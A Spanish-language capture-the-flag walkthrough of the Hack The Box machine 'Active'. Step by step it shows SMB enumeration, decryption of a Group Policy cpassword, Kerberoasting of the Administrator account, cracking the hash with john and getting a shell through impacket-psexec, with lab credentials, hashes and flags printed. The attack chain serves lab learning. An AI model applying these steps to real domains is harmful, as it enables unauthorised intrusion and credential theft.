Lo primero que haremos serán los reconocimientos de siempre con nmap:

```
PORT      STATE SERVICE    VERSION
53/tcp    open  tcpwrapped
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
135/tcp   open  tcpwrapped
139/tcp   open  tcpwrapped
445/tcp   open  tcpwrapped
3268/tcp  open  tcpwrapped
49152/tcp open  tcpwrapped
49155/tcp open  tcpwrapped
49158/tcp open  tcpwrapped
```

Vemos que tiene abierto el puerto 445, que es el puerto smb, por tanto vamos a lanzar un comando de para ver dominios (sirve para hacer pentesting a Windows): Crackmapexec > Detectar dominio con crackmapexec

```
┌──(mario㉿kali)-[~]
└─$ crackmapexec smb 10.10.10.100
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing SSH protocol database
[*] Initializing LDAP protocol database
[*] Initializing MSSQL protocol database
[*] Initializing SMB protocol database
[*] Initializing WINRM protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB         10.10.10.100    445    DC              [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
```

Estamos viendo un dominio, por tanto vamos a apuntarlo en el /etc/hosts:

```
  GNU nano 6.4
127.0.0.1       localhost
127.0.1.1       kali

10.10.10.100 active.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```

Ahora vamos a comprobar si el servicio smb tiene recursos compartidos a nivel de red, para ello lo hacemos con smbclient:

```
┌──(root㉿kali)-[/home/mario/Escritorio/valentine]
└─# smbclient -L 10.10.10.100 -N
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Replication     Disk
        SYSVOL          Disk      Logon server share
        Users           Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Ahora vamos a ver a cuales de estos recursos compartidos me puedo conectar; y para ello puedo utilizar smbmap; y vemos que podemos conectarnos a Replication:

```
┌──(root㉿kali)-[/home/mario/Escritorio/valentine]
└─# smbmap -H 10.10.10.100
[+] IP: 10.10.10.100:445        Name: active.htb
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                NO ACCESS       Logon server share
        Replication                                             READ ONLY
        SYSVOL                                                  NO ACCESS       Logon server share
        Users                                                   NO ACCESS
```

Y nos conectamos a Replication con este otro comando, ya que este dominio podemos leerlo:

```
┌──(root㉿kali)-[/home/mario/Escritorio/valentine]
└─# smbmap -H 10.10.10.100 -r Replication
[+] IP: 10.10.10.100:445        Name: active.htb
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        Replication                                             READ ONLY
        .\Replication\*
        dr--r--r--                0 Sat Jul 21 12:37:44 2018    .
        dr--r--r--                0 Sat Jul 21 12:37:44 2018    ..
        dr--r--r--                0 Sat Jul 21 12:37:44 2018    active.htb
```

Y dentro de la carpeta active.htb tenemos esto:

```
┌──(root㉿kali)-[/home/mario/Escritorio/valentine]
└─# smbmap -H 10.10.10.100 -r Replication/active.htb
[+] IP: 10.10.10.100:445        Name: active.htb
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        Replication                                             READ ONLY
        .\Replicationactive.htb\*
        dr--r--r--                0 Sat Jul 21 12:37:44 2018    .
        dr--r--r--                0 Sat Jul 21 12:37:44 2018    ..
        dr--r--r--                0 Sat Jul 21 12:37:44 2018    DfsrPrivate
        dr--r--r--                0 Sat Jul 21 12:37:44 2018    Policies
        dr--r--r--                0 Sat Jul 21 12:37:44 2018    scripts
```

Una vez en este punto, debemos de buscar un archivo llamado groups.xml, porque

aquí se suelen guardar credenciales, el cual podemos encontrarlo dentro de esta ruta:

```
┌──(root㉿kali)-[/home/mario/Escritorio/valentine]
└─# smbmap -H 10.10.10.100 -r Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups
[+] IP: 10.10.10.100:445        Name: active.htb
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        Replication                                             READ ONLY
        .\Replicationactive.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\*
        dr--r--r--                0 Sat Jul 21 12:37:44 2018    .
        dr--r--r--                0 Sat Jul 21 12:37:44 2018    ..
        fr--r--r--              533 Sat Jul 21 12:38:11 2018    Groups.xml
```

Por tanto vamos a descargar el archivo con el parámetro –download, y le vamos a llamar groups.xml:

```
┌──(root㉿kali)-[/home/mario/Escritorio/active]
└─# smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/groups.xml
[+] Starting download: Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\groups.xml (533 bytes)
[+] File output to: /home/mario/Escritorio/active/10.10.10.100-Replication_active.htb_Policies_{31B2F340-016D-11D2-945F-00C04FB984F9}_MACHINE_Preferences_Groups_groups.xml
```

Y si hacemos un cat de lo que hay en este fichero, veremos que se esconde una contraseña y el usuario SVC_TGS:

```
┌──(root㉿kali)-[/home/mario/Escritorio/active]
└─# cat groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" u
id="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3x
UjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
```

Ahora podemos utilizar una herramienta que se llama gpp-decrypt que nos permite desencriptar esta contraseña:

```
┌──(root㉿kali)-[/home/mario/Escritorio/active]
└─# gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
GPPstillStandingStrong2k18
```

Ahora vamos a ir probando con smbmap si con esta contraseña y alguno de los usuarios obtenidos en el fichero groups.xml podemos conectarnos a más recursos compartidos; y vemos que podemos conectarnos a bastantes más:

```
┌──(root㉿kali)-[/home/mario/Escritorio/active]
└─# smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
[+] IP: 10.10.10.100:445        Name: active.htb
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share
        Replication                                             READ ONLY
        SYSVOL                                                  READ ONLY       Logon server share
        Users                                                   READ ONLY
```

Ahora que tenemos estas credenciales en texto claro, con crackmapexec podemos comprobar si estas credenciales son correctas; y vemos que sí:Crackmapexec > Comprobar y validar credenciales con crackmapexec

```
┌──(root㉿kali)-[/home/mario/Escritorio/active]
└─# crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
SMB         10.10.10.100    445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC)
 (domain:active.htb) (signing:True) (SMBv1:False)
SMB         10.10.10.100    445    DC               [+] active.htb\SVC_TGS:GPPstillStandingS
trong2k18
```

Entonces con estas credenciales válidas podemos listar recursos compartidos con

crackmapexec; y podemos listar archivos dentro de varias ubicaciones, entre las que tenemos la de users: Crackmapexec > Listar recursos compartidos con crackmapexec

```
┌──(root㉿kali)-[/home/mario/Escritorio/active]
└─# crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares
SMB         10.10.10.100    445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC)
 (domain:active.htb) (signing:True) (SMBv1:False)
SMB         10.10.10.100    445    DC               [+] active.htb\SVC_TGS:GPPstillStandingS
trong2k18
SMB         10.10.10.100    445    DC               [+] Enumerated shares
SMB         10.10.10.100    445    DC               Share           Permissions     Remark
SMB         10.10.10.100    445    DC               -----           -----------     ------
SMB         10.10.10.100    445    DC               ADMIN$                          Remote A
dmin
SMB         10.10.10.100    445    DC               C$                              Default
share
SMB         10.10.10.100    445    DC               IPC$                            Remote I
PC
SMB         10.10.10.100    445    DC               NETLOGON        READ            Logon se
rver share
SMB         10.10.10.100    445    DC               Replication     READ
SMB         10.10.10.100    445    DC               SYSVOL          READ            Logon se
rver share
SMB         10.10.10.100    445    DC               Users           READ
```

Ahora con smbmap veremos qué tenemos estas ubicaciones:

```
┌──(root㉿kali)-[/home/mario/Escritorio/active]
└─# crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares
SMB         10.10.10.100    445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC)
 (domain:active.htb) (signing:True) (SMBv1:False)
SMB         10.10.10.100    445    DC               [+] active.htb\SVC_TGS:GPPstillStandingS
trong2k18
SMB         10.10.10.100    445    DC               [+] Enumerated shares
SMB         10.10.10.100    445    DC               Share           Permissions     Remark
SMB         10.10.10.100    445    DC               -----           -----------     ------
SMB         10.10.10.100    445    DC               ADMIN$                          Remote A
dmin
SMB         10.10.10.100    445    DC               C$                              Default
share
SMB         10.10.10.100    445    DC               IPC$                            Remote I
PC
SMB         10.10.10.100    445    DC               NETLOGON        READ            Logon se
rver share
SMB         10.10.10.100    445    DC               Replication     READ
SMB         10.10.10.100    445    DC               SYSVOL          READ            Logon se
rver share
SMB         10.10.10.100    445    DC               Users           READ
```

Vamos dentro del usuario SVC_TGS y al escritorio, donde vemos la flag de user:

```
┌──(root㉿kali)-[/home/mario/Escritorio/active]
└─# smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users/SVC_TGS/Desktop
[+] IP: 10.10.10.100:445        Name: active.htb
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        Users                                                   READ ONLY
        .\UsersSVC_TGS\Desktop\*
        dr--r--r--                0 Sat Jul 21 17:14:42 2018    .
        dr--r--r--                0 Sat Jul 21 17:14:42 2018    ..
        fw--w--w--               34 Mon Jan 16 15:46:48 2023    user.txt
```

Nos la descargamos:

```
┌──(root㉿kali)-[/home/mario/Escritorio/active]
└─# smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --download Users/SVC_TGS/Desktop/u
ser.txt
[+] Starting download: Users\SVC_TGS\Desktop\user.txt (34 bytes)
[+] File output to: /home/mario/Escritorio/active/10.10.10.100-Users_SVC_TGS_Desktop_user.txt
```

Ahora vamos a comprobar si esta máquina o este usuario es vulnerable a un Kerberoasting, ya que este ataque consiste en capturar las credenciales del sistema, para ello si ponemos el dominio seguido del usuario para iniciar sesión en el sistema (que es ADMINISTRADOR), podremos obtener credenciales en caso de existir.

Lo primero será tener sincronizado el reloj con la misma hora que el domain controller, y para ello tenemos una herramienta que se llama ntpdate:

```
┌──(root㉿kali)-[/home/mario]
└─# ntpdate 10.10.10.100
2023-01-26 10:30:55.97858 (+0100) +2.725563 +/- 0.045842 10.10.10.100 s1 no-leap
CLOCK: time stepped by 2.725563
```

Para efectuar este ataque debemos tener credenciales de un usuario y su contraseña, para poder comprobar si podemos solicitar un TGS con este comando:

```
┌──(root㉿kali)-[/home/mario/Escritorio]
└─# impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon
                      Delegation
--------------------  -------------  --------------------------------------------------------  --------------------------  ---------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40.351723  2023-01-2
6 10:22:13.916543
```

Entonces viendo que podemos solicitar un TGS con las credenciales de este usuario, podemos ejecutar el mismo comando pero pasando la opción -request:

```
┌──(root㉿kali)-[/home/mario/Escritorio]
└─# impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon
                      Delegation
--------------------  -------------  --------------------------------------------------------  --------------------------  ---------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40.351723  2023-01-2
6 10:22:13.916543


[-] CCache file is not found. Skipping ...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$ca264f8bde2c0c944ccecbe0218e6a55$a7bb2dc53b8496928e2a72c36a2c5008e48
87f0f56ac3877e82bccd77e7eb33d9ec8a2a51a652a2908165cfdc2f7a66ba3d5d2316d0cc0b4abc110a510a4fa72f474c1898f6ca9036dd075efcd7eb2357ac855f
11349176f32fc129136564db940f6130fae751f8a9e1d612febb48e2b6edceb12fdcfe23aa752079f97f2580dc3b1aaea16549a707e779d4cc60e44ee404ae6d61f2
8021c5243accc0caccc6edfec892937ae6f2c445d6ddb465d202c0dd9ead46418751bb708fed6ab2b858207e4e587bc9e56448a22124ac117ebbf2ecd6a9393fb202
48de04207cd319c01ce188416d6ba1ba108fb2b6e748bc3559a960679358469d0617290d4301be415dd533bd66d55f25a1d878399b620ad88a20a992ba832963a050
3b882e5f6554e1cd2f8a47cca1c3cdd8306d44082295784e97e0d61f4ac763b859eadadc09368aa2468210a3df7bf9ebbdd0dd84943f9e750bc8cb70ca325ee300f5
1ffe4c47411b3770180ae7c6107303811e239f4a268102e91fe1501e31d6244fc15137a6472ef2c222204d87a628575080a0af1571816b442711598e64824d66ce58
80d1a24b2a53d3afa3690ee082083880cbf9c655ae40c0c74dc0cb552fd55d37f88a609c0bc9639f29b02381166e1efd63e34f10c0c83c4b27acd9ff56ba81ed1875
007c5cad02e227668aecd907d1894fd6f1558291633d772b9e6f0c2ab1cded559ceb18e678590fba1f6ea95e5fe1fd3520ebb0b7094553fa14f04d0290a6fbed4f21
ba86680f797d2715be4008dbc2e8ad2843723aa83d157f7be6ed700a5e49ab43c11e6e15ec837bc346c1df7562972639aca2b9b9f0e2e3da78e84f363f1a5d3a5570
d00eb760f1847043cdd93a2241f899f7d9f8757768e925eb4c891d48af5e01b592861f4bea28d13d2355f176abc4b0a8607ebb3dac1510e9eac708b7f4b3806f3161
cc43fde0fcada2bfb43f052481f14db51c4c780f6fa8f0a5da32897358ffe3a2c64127dd5afcc486a51e625ce33800f95660ff32a9cdf4ee7062674380b01d3938d9
0d05fcb21eca33d159cd7c81e41a02fe5d04a4b1c71fb0f4c48aef65f82c3d603bccdcd6d556ccbad2fe581794cce081f52625239e2818e981a19c20ffd73f34e092
c18ada5351257ff08999c8f681db8bc168cfaf54c703d39b584979e6010329f4b49a7418ab1390af971d452e2bd959283aa5da69e4a5c2aa64d4b25b33a987a9c7ee
914b9a492a2b1da284d6250c50bb9
```

Por tanto una vez obtenido este hash, podemos tratar de crackearlo para que nos proporcione la contraseña del usuario administrador. Por lo que vamos a copiar todo este hash y lo vamos a guardar en un documento .txt:

```
┌──(root㉿kali)-[/home/mario/Escritorio]
└─# ls
kerberos
```

Lanzamos el ataque con john para crackear este hach y obtenemos la contraseña:

```
┌──(root㉿kali)-[/home/mario/Escritorio]
└─# john --wordlist=rockyou.txt kerberos
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
1g 0:00:00:20 DONE (2023-01-26 10:53) 0.04803g/s 506113p/s 506113c/s 506113C/s Tickle2Pickle..Tibilein
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Ahora vamos a validar con crackmapexec que esta contraseña sirva para el usuario administrador; y vemos que sí: Comprobar y validar credenciales con crackmapexec

```
┌──(root㉿kali)-[/home/mario/Escritorio]
└─# crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968'
SMB         10.10.10.100    445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMB
v1:False)
SMB         10.10.10.100    445    DC               [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)
```

Por tanto ahora vamos a conectarnos de manera remota con estas credenciales utilizando psexec.py y conseguimos una cmd como el usuario Administrator (hay que tener en cuenta que psexec funciona cuando el usuario tiene altos privilegios como en este caso):

```
┌──(root㉿kali)-[/home/mario/Escritorio]
└─# impacket-psexec active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file hrVxfSwD.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service xbgz on 10.10.10.100.....
[*] Starting service xbgz.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>
```

Una vez dentro obtenemos la flag de user:

```
type user.txt
C:\Users\SVC_TGS\Desktop>82409f8f1b92c2f27e158957d3c26b42
```

Y ahora la de root:

```
C:\Users\Administrator\Desktop> type root.txt
633ec27239e48b9b21377a5f641de80f
```